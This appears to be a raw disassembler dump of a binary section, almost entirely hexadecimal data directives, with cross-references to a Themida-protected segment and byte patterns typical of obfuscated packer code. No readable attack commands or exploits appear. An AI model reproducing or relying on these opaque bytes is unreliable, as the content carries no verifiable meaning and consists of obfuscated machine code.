49FA819Eh, 9589FA8Bh, 7E418A9h, 0F04C1F6h dd 7D84h, 698D2900h, 0FF07E40Eh, 0E42D9195h, 0B5096007h dd 7E41CF1h, 1C619D8Bh, 5B6107E4h, 6AC32Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DC5D86C3h dd 2A1A4A9Ch, 3D4E3E44h, 834h, 30860Fh, 8E0F0000h, 4, 5E5F5656h dd 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0BF58317Dh, 0C08B96F0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BBC35545h, 8B1577A7h dd 6AD88BC3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0C548C356h, 44331D16h, 6AD78166h dd 8585C781h, 1D07E423h, 6A5C233Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D3A4C352h dd 6573C5BFh, 7E90Ah, 636A0000h, 3BACB7Eh, 89C08B65h, 0E426F18Dh dd 0E18D8907h, 8107E419h, 0E42AD5BDh, 7D007h, 2B850F00h dd 53000000h, 0FF5FF88Bh, 0E42AD585h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C090EF3Ah, 0B5FF84ACh, 7E42AD5h, 15158589h, 95FF07E4h dd 7E40E41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 62C35747h, 8B6631C2h, 78B890FAh, 1123456h, 0E42BF9BDh dd 779D8D07h, 0E907E816h, 0FFFFF90Ch, 25DDB58Bh, 0C18B07E4h dd 20B59589h, 4EB07E4h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ECC35545h dd 55745CFFh, 0CAF145EFh, 589BBE66h, 49BD8B50h, 5E07E41Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E3C35545h dd 6E963h, 8C360000h, 0BB70BC2Eh, 858DF98Bh, 7E40D85h dd 14810Fh, 0CE80000h, 0 dd 0EA00D883h, 6C6C81D8h, 6073FFA9h, 0E9505E61h, 0Dh, 0DBB79594h dd 11454F67h, 59CAAF63h, 2404897Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 55C35141h, 858936BEh, 6850F32h dd 8B000000h, 0E4258DB5h, 66006A07h, 6AFA8Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h, 83D1E884h dd 662CCE7Bh, 858DFE8Bh, 7E81876h, 9E8h, 0CA58B600h, 727EF89Ch dd 8B608BB4h, 0E419C595h, 835F6107h, 0BE905C0h, 0EB000000h dd 947905FFh, 1FB37044h, 0F5013E3h, 1389h, 0DE800h, 669C0000h dd 0E409C1E7h, 37C44795h, 5E901C23h, 66240489h, 0BED7E781h dd 0FE9006Ah, 0A6000000h, 8C24F49Ch, 4EB7E234h, 35C66141h dd 890F221Ch, 0Ch, 68E0Fh, 8D290000h, 7E42CF9h, 0BD8B006Ah dd 7E40F3Dh, 247195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B129F9C3h, 6D69C59Dh dd 8D46807Bh, 0E7D64B9Dh, 0E1B58B07h, 0FF07E406h, 0B985FFD3h dd 6A07E420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0E6C5C356h, 6F71B2ACh, 2BF366F0h dd 0E400A5B5h, 0D26E907h, 0E80000h, 5D000000h, 1880ED81h dd 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 47D850C3h, 0DFBF8D11h, 850F45h, 81000000h dd 0E42AD5BDh, 7D007h, 3C860F00h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E9ABC351h, 25A4AA95h, 0D183C78Ch, 0DE9h, 0C579B400h dd 0AAC8134Dh, 0C2E5CF9h, 9D8B0574h, 7E43591h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F0C35040h, 0BEDCB5FCh dd 1746012Ch, 5E9h, 0E61B900h, 0E3817DECh, 100h, 9E8h dd 0D375DC00h, 0B526433Eh, 11E886CEh, 51000000h, 9E16A4EDh dd 37DEEDB3h, 4076958Dh, 0C2A1AA40h, 3239BD8Bh, 5F5E07E4h dd 850FDB0Bh, 6Fh, 1ED5B589h, 0BD8307E4h, 7E8169Dh, 2F840F00h dd 8B000000h, 81B523F7h, 0E907E423h, 59h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 0ADDBD8Bh dd 85C707E4h, 7E8169Dh, 1, 28E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0C71EF8BCh dd 0E8169D85h, 7, 919D8D00h, 8107E435h, 0CFDD37DEh, 0D1B5895Dh dd 8107E41Bh, 0FFFEFF23h, 0E9BD8BFFh, 6607E431h, 0C681DB8Ch dd 611C7CD3h, 0F04C3F6h, 0BB84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BBE553Dh dd 0E400DDB5h, 29B52307h, 0FF07E421h, 0E42D9195h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8163065Dh, 0F8D645DEh, 9A38BF06h, 50506026h, 0EE852h dd 0F1020000h, 8398B409h, 9D807870h, 0C4C9E7DEh, 0CE9h dd 757DF500h, 0F925FBEAh, 8B7871A5h, 310F5F07h, 0AE9h dd 26678C00h, 27D266A1h, 5A8F7DB7h, 24048958h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 7C4E186Bh dd 8EEDA308h, 3F6E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A810F0E9h, 0A5EA3775h dd 0E78166A4h, 0B02203h, 0F61BD29h, 70E607E4h, 27858D89h dd 816607E4h, 0E42846CEh, 53006A71h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F148EBBh dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 10BDAFC3h, 2ED978BFh, 0AE8h, 0ED81BB00h dd 8B8A5E14h, 5672FB69h, 7B59589h, 5E5E07E4h, 29BDBD8Bh dd 9D8907E4h, 7E40881h, 6BAh, 0E1816000h, 2E3F554Ah, 17C59D89h dd 8B6107E4h, 0BDB58BC3h, 0C107E426h, 6A04E8h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8BB6C3h, 7E4091Dh, 6AE2F766h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 39B5C351h dd 81664B43h, 0F2263E7h, 0D82BF8BFh, 5F5293F5h, 6A9350h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0AA3D23C3h, 29DD9509h, 0B5FF07E4h, 7E42AD5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 95FFF98Bh dd 7E40E41h, 31AB58BEh, 6A00B049h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6220C356h dd 315B895Ch, 0E402B5B5h, 8B70E607h, 0E425CDBDh, 6A71E407h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 3F21C351h, 0F613CFCh, 23283h, 0CE96000h dd 5E000000h, 297DACBh, 0E87CAEDFh, 8B2F2599h, 0E424C59Dh dd 0B60F6107h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD8BC29Fh, 7E41495h dd 6BAh, 0A0D68100h, 8B4F7A6Ch, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C3B56DABh dd 0DF9CBF54h, 0F504E8C1h, 0EFD9D09h, 0F76607E4h, 51006AE2h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8157A49Ah, 0C98F1CEh, 0D82B5E6Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0C2C35141h, 469A69D8h, 0BD2B58C9h dd 7E41529h, 880FD82Bh, 15Fh, 1AF78166h, 7B9DEh, 0C1830000h dd 5E900h, 264A0000h, 3BB0BCEEh, 40860FD9h, 89000001h dd 0E40E3DB5h, 0D98C6607h, 0C1F6F88Bh, 0F4840F04h, 0F5000000h dd 0BE9h, 0AD41E200h, 2F06917Ch, 9522C066h, 2D9195FFh dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 379BCFC3h, 604D3B40h, 9E9h, 0B1CD6000h, 4C76C9F9h dd 81669547h, 612238D3h, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0A1B589FFh, 2B07E421h dd 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 4615F4DBh, 0E9376C72h, 0Bh, 0A2663103h dd 6646C19Ah, 3D277779h, 834h, 45860Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E96C8BC3h, 5Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 91C35040h, 19CF8D21h, 8BC23E70h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F052C30h, 0C8Eh, 6840F00h, 8B000000h, 0E40B35B5h, 0A58D8907h dd 8B07E409h, 0FD88BC3h, 8F0FFBBFh, 6, 291BD8Bh, 85C707E4h dd 7E40B69h, 341EF1FBh, 0C08BFE8Bh, 0DE8h, 78D56C00h, 0BFC2182Fh dd 2293513Ah, 0BD8BF776h, 7E41E85h, 0D5BD815Eh, 0D007E42Ah dd 0F000007h, 3985h dd 8A0F6000h, 6, 820Fh, 0A7BF0000h, 61136039h, 2AD585FFh dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0E556C4C3h, 0B5FF7FA0h, 7E42AD5h, 0B2E78166h dd 4195FF85h, 6A07E40Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6027C352h, 1429B523h dd 409007E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0C9C35747h, 0F82430F0h, 0BD83F5B6h, 7E424DDh, 83840F00h dd 0F000000h, 0BD83F9BFh, 7E4038Dh, 73840F00h, 8B000000h dd 0DD95FFF1h, 6A07E424h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 4E2C352h, 0F098589h dd 0C00B07E4h, 40840Fh, 0FCF50000h, 4FE78D8Dh, 958907E4h dd 7E40FA9h, 5B8h, 9D895600h, 7E41E41h, 6AE1FF5Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 369FC356h, 323DFB22h, 0BD83036Ah, 7E42C35h, 5C840F00h dd 60000005h, 80CEE880h, 836100C9h, 0E4038DBDh, 840F0007h dd 547h, 2405B589h, 8D8D07E4h, 7E429E5h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 43C35747h, 0DA88F490h dd 1C5D46B6h, 79BD8Bh, 1C707E4h, 44B27C84h, 0AAF68166h dd 0CB018189h, 0F1499CFh, 0E81h, 8D016000h, 7E40235h, 21718D8Bh dd 0C76107E4h, 6B340441h, 81FCCE70h, 0D7100441h, 7E831D6h dd 0F1000000h, 30AE4B59h, 6A5F81D2h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0CB1988C9h dd 19787F3Fh, 858DBB1Bh, 7E429E5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 90BD750Eh dd 5841BE66h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0CB4E61C3h, 97B771EAh, 3595FF99h dd 6607E42Ch, 8627EF81h, 29E58D8Dh, 6A07E4h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 2D31D8C3h dd 5E8h, 74CB600h, 0B58B9F0Ch, 7E41275h, 43BF665Fh, 1C725h dd 0E9000000h, 12h, 0D11143DFh, 5078206Ah, 702604CBh, 6961DAE5h dd 41C75E61h, 4, 0FDB58B00h, 6607E40Dh, 9850D781h, 840FC00Bh dd 71h, 89FB8B66h, 0E42211B5h, 0E78D8D07h, 6A07E44Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5CC2C351h, 1FC5B58Bh, 5B807E4h, 0E9000000h, 0Bh, 0C4FE940Bh dd 2BE909FCh, 0FFE00EADh, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 6D19C2BAh dd 8BE6FCEBh, 0E42755BDh, 0E58D8D07h, 6A07E429h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6647C356h, 2949ADBFh, 0E4227D9Dh, 7C01C707h, 8B44AA72h dd 0E41F3DBDh, 0CB018107h, 6A1499CFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A38CC352h dd 41C7B111h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0ACA70A2Bh, 0E2DF267Dh dd 29B58900h, 8107E423h, 0D7100441h, 6E831D6h db 3 dup(0) byte_5C4753 db 6Dh ; DATA XREF: Themida_:00582834o dd 0B80C1223h, 0B8BF66F7h, 6A5F90h, 7A5B58Bh, 858D07E4h dd 7E429E5h, 0B58B6060h, 7E4272Dh, 1098589h, 8B6107E4h dd 0E4185D85h, 89506107h, 0B70F2404h, 3595FFF2h, 8907E42Ch dd 0E403A9BDh, 0E58D8D07h, 0F07E429h, 8Ah, 1C700h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 3011C356h, 23B1979Fh, 441C7F6h, 0 aA_6 db '`',9,'-',0 db 0E4h, 7, 89h dd 0E423C185h, 0C00B6107h, 42840Fh, 95890000h, 7E40F85h dd 4FE78D8Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0FBFA2BC3h, 5B8h, 9BD8B00h, 0FF07E40Ah dd 0F98B66E1h, 65BD8952h, 5E07E42Ch, 29E58D8Dh, 1C707E4h dd 54CA95A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0C1C35343h, 0ABEB52B8h, 0BA4C5BA5h, 7E9h, 86A21A00h dd 0DD4E9BA8h, 0CFCB0181h, 0EEBE1499h, 0E91C9077h, 9, 4857DF41h dd 69D2E82Fh, 441C77Ch, 0CE5F5969h, 0BDBB73BFh, 4418157h dd 31D6D710h, 183DB58Bh, 6A07E4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0D6C35545h, 121B58Bh, 858D07E4h dd 7E429E5h, 0A558589h, 0F5007E4h, 487h, 3BF6600h, 240489D9h dd 0FFF18B66h, 0E42C3595h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0A0A2A439h dd 473FA352h, 0F08B666Eh, 29E58D8Dh, 6A07E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58BE0C3h dd 7E40E4Dh, 1C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8BA6D8C3h, 0E41CA5BDh dd 441C707h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A8C35141h dd 0E1DF7B52h, 0B748646h, 9C840FC0h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 4377C353h, 0EE9EB29h, 0EF000000h, 0C29228A9h, 85EC3681h dd 198A1479h, 0B70F5225h, 8D8D5EFFh, 7E44FE7h, 0B8FE8B66h dd 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 70C35141h, 0FFF9B70Fh, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2CC5DECBh dd 0E943BDC8h, 9, 250B5D6Fh, 0C4912AC9h, 8DB58BC9h, 307E412h dd 0F2DCE9CAh, 0FA8BFFFFh, 4EBC18Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9C35242h dd 8B1BA34Eh, 0E41561BDh, 85858D07h, 0E907E40Dh, 14h, 0E78DC94Eh dd 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh, 198E0F90h dd 50000000h, 0F1BF6652h, 0E9310F09h, 0Ah, 6CE2D339h, 0DCE2A3C7h dd 585AE93Bh, 74BE6650h, 0BD8B907Fh, 7E42FEDh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 9063A4C3h, 1851BD33h, 6A07E4h, 241D8589h, 858D07E4h dd 7E82725h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 5FC35040h, 0C6D59A9Eh, 0D2DBD33h, 0B58B07E4h, 7E41879h dd 6605C083h, 65C9CE81h, 50FA8B90h, 8F0F5060h, 0 dd 14E9605Ah, 0B4000000h, 3D2B9936h, 7AB626E2h, 0B10326E9h dd 0ABB93A57h, 56D87023h, 9061615Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 9CC35343h, 6E620A9Ch, 0A310B152h dd 0BD8B006Ah, 7E423C1h, 0B58B006Ah, 7E42A71h, 247195FFh dd 8D0907E4h, 7E42569h, 0D64B9D8Dh, 6A07E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 855491C3h dd 0BD0BD3FFh, 7E42231h, 20B985FFh, 853107E4h, 7E4089Dh dd 817E9h, 0E800h, 815D0000h, 0E8272FEDh, 0EE816607h, 9509509Ch dd 7E40185h, 2AD5BD81h, 7D007E4h, 860F0000h, 170h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F4C35343h, 0F5019556h dd 73566A37h, 9659D8Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D170F2C3h, 0FFBD8C3Bh dd 12E927h, 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah dd 0FC4CC5BEh, 29E1B589h, 9D8907E4h, 7E40291h, 100E381h dd 0B5090000h, 7E431B1h, 850FDB0Bh, 0A1h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 8AD06816h dd 0B70F5E6Dh, 0A5BD83FAh, 7E825h, 0B840Fh, 8B660000h dd 7AE9F2h, 0B70F0000h, 0A585C7F2h, 107E825h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 2B3EC353h, 8E0F3578h, 8, 870F53h, 5E000000h dd 3BE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0DB5A241Ah, 893F5CB8h, 0E42BE59Dh dd 0A585C707h, 7E825h, 66000000h, 8589F38Bh, 7E41E91h dd 9659D8Dh, 850F07E4h, 1, 0FF2381FCh, 6AFFFFFEh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1AE6C352h, 9589305Eh, 7E40389h, 6ADB8C66h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 5C80C355h, 0ABA0D127h, 9589DA38h, 7E4192Dh, 0F04C3F6h dd 5284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0B9BF6646h, 9195FFE7h, 6A07E42Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0A2B7C352h, 50711681h, 4895E57h, 75B52B24h dd 0E907E423h, 3A2h, 0B0F38B66h, 8B70E600h, 0E41DDDBDh dd 8171E407h, 0ED0CF6CFh, 1DB58B1Fh, 0F07E424h, 0B589D8B6h dd 7E42DADh, 6BAh, 0F3B70F00h, 0F58D8957h, 5F07E41Dh, 0E8C1C38Bh dd 10E904h, 9A0000h, 0FF921F1Ch, 1C3AE0E2h, 16477719h dd 0F76667AFh, 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 2DCD24E3h, 0BFF98B7Eh dd 3D55C83Eh, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 4D45C3C3h, 0A0D01E93h, 0FE8h, 0A5E07300h dd 0C5B557A2h, 7E21B031h, 6240C8F9h, 54D6BF66h, 0F50935Eh dd 481h, 9CBF6600h, 0F505FB6h, 885h, 0F525000h, 5AF98B31h dd 6A9358h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 2181A7C3h, 0AD6F641Dh, 8B66DFCAh, 0E42B45B5h dd 0F9B50107h, 0FF07E41Fh, 0E42AD5B5h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 3A4243BAh, 0FCD598C6h, 2C77EF81h, 95FF38CAh, 7E40E41h dd 0B0F1BF0Fh, 71BD8B00h, 0E607E431h, 1CBF6670h, 6071E492h dd 0DE947B3h, 6D000000h, 15D8DE14h, 31321AC2h, 0F2A4C987h dd 0F613C61h, 23983h, 14E900h, 9FB00000h, 0C2166017h, 0D7C7A05Dh dd 0D7F2CA0Eh, 92105A13h, 8166795Ah, 0F52F1CFh, 6AD8B6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B0F7DC3h, 0E42A69BDh, 6BA07h, 0C38B0000h, 1285BD8Bh dd 0E8C107E4h, 79B58B04h, 6607E40Fh, 6AE2F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A223BDC3h dd 0FE95035h, 54000000h, 87F8CB84h, 0EBD625D6h, 274FF94Fh dd 0BD0BA66Ah, 7E42A95h, 0BE66D82Bh, 0E958E8E5h, 0Dh, 0EE6B2DA8h dd 0A87FEFAFh, 1CDE30EAh, 0FBBF0F9Dh, 880FD82Bh, 17Eh dd 7B9h, 7AC68100h, 8322406Eh, 6A00C1h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 9B0D4CC3h dd 3BFB8B66h, 47860FD9h, 8B000001h, 0E419FDBDh, 0D98C6607h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 39C35343h dd 862C5B45h, 9D8B6082h, 7E4316Dh, 9DB501h, 0F86107E4h dd 0F04C1F6h, 0DC84h, 66F78B00h, 95FFFB8Bh, 7E42D91h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C9C35343h, 889D72D1h dd 0BD8915EDh, 7E414CDh, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 12E8D603h, 43000000h dd 838803EFh, 0C74355E0h, 4DFB1280h, 0E290C79h, 3E78124h dd 5E775436h, 6E9C32Bh, 0B0000000h, 0DC9EC951h, 5B12BE97h dd 343D3D46h, 0F000008h, 5086h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 2EBDB55Fh dd 70AA7903h, 2DF1B589h, 4BE907E4h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8BCDC351h, 0E41815B5h, 6AC08B07h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 3C6BC353h dd 7328C0ACh, 0B6DBD89h, 0C38B07E4h, 0C7F9D88Bh, 0E4359185h dd 0DEF1907h, 55006A17h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 4D8D89DFh, 0F07E40Fh, 48Bh, 45BF6600h dd 6AC08B63h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 73E8C350h, 7E91Eh, 6F220000h dd 0CA1D979Bh, 14E8AFh, 0CCD80000h, 9E763BB3h, 0E26F5313h dd 609708B0h, 0FCDE1096h, 0B50B1F6Bh, 7E41E29h, 0D5BD815Fh dd 0D007E42Ah, 0F000007h, 5C85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 5E836h, 9AF90000h dd 89ABF736h, 0E400FD9Dh, 85FF5F07h, 7E42AD5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 19C35242h, 0D70B1730h dd 899CFAB2h, 0E430ADB5h, 0D5B5FF07h, 6A07E42Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0C23C355h, 0BD8BB55Bh, 7E4278Dh, 0E4195FFh, 6A9007E4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0DB1EC357h, 9582EFBCh, 6A774E95h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 292FC350h, 0E432399Dh, 14E907h, 0FFBA0000h, 0AFA24D1Ah dd 0DB0685F3h, 710FFBC4h, 7CA11C22h, 6A1805h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h dd 1F68BBC3h, 0B3BE820Eh, 4D9BD89h, 0BD8B07E4h, 7E42469h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C3C35545h dd 51958906h, 8107E418h, 26FBDFh, 81666032h, 614D92F2h dd 8F0Fh, 9D890000h, 7E40089h, 0C5E78166h, 55006AFBh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0E6C3BF61h, 50F28DC2h, 13E805h, 3E070000h, 5539FFAFh dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0CF815F5Bh, 41F810A3h dd 0FFF800E9h, 0BE8FFh, 89190000h, 1F30917Eh, 2971A446h dd 159D89F9h db 0Bh byte_5C53C9 db 0E4h, 7, 5Fh ; DATA XREF: Themida_:00582F38o ; Themida_:00584F6Co dd 0B70FC18Bh, 1B58BF1h, 0EB07E433h, 4, 21B58900h, 0E907E433h dd 12h, 0B0C3715Eh, 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h dd 858D47B2h, 7E40D85h, 8E96060h, 7C000000h, 9984321Fh dd 0FDE7079h, 87h, 0A1BA6100h, 61086E31h, 29BE5250h, 5F2CC21Ch dd 89240489h, 0E40455BDh, 0BD8B5007h, 7E43355h, 6A006A5Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 58F7C355h, 53D9D89h, 6A07E4h, 279B8BEh, 8B46BE25h dd 858D1DF4h, 7E83107h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 2C35040h, 5FEAB1ECh, 3D88C08h, 0FF0B70Fh dd 385h, 0F7B70F00h, 3105C083h, 0E419958Dh, 0BE95007h dd 8A000000h, 0C2DB3453h, 35B36630h, 489F967h, 0E1BD3124h dd 6A07E41Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 2627DB77h, 6ACFE1h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 87C35343h, 41550EC8h dd 0CF8163DEh, 65FD6A4Bh, 247195FFh, 6A07E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0A02CBDC3h dd 8DE045FCh, 0E7D64B9Dh, 7830F07h, 60000000h, 0B0D98B66h dd 0D3FF61F4h, 5CB8D8BFh, 0B985FF72h, 6A07E420h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0E75C350h, 0DA9599B8h, 0B093BF31h, 0AE8h, 88B47900h dd 5082E01Ah, 0E9A5B0F5h, 5, 0B6F34A67h, 0CFE95E6Dh, 0E8000008h dd 0 dd 11ED815Dh, 8907E831h, 0E41469BDh, 0D5BD8107h, 0D007E42Ah dd 0F000007h, 1E486h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 3C270157h, 0C59D8BC8h dd 6A07E41Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0A9FCC352h, 338349EFh, 88F0F52h dd 57000000h, 850Fh, 815E0000h, 100E3h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0BF74BEDDh, 31B98D29h, 0BF507E4h, 0B3850FDBh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 84E9C352h, 1F32304Eh, 89751368h, 0E42DD58Dh dd 4EBD8307h, 7E82Fh, 3D840Fh, 8D290000h, 7E41395h, 0B0E9h dd 0DE800h, 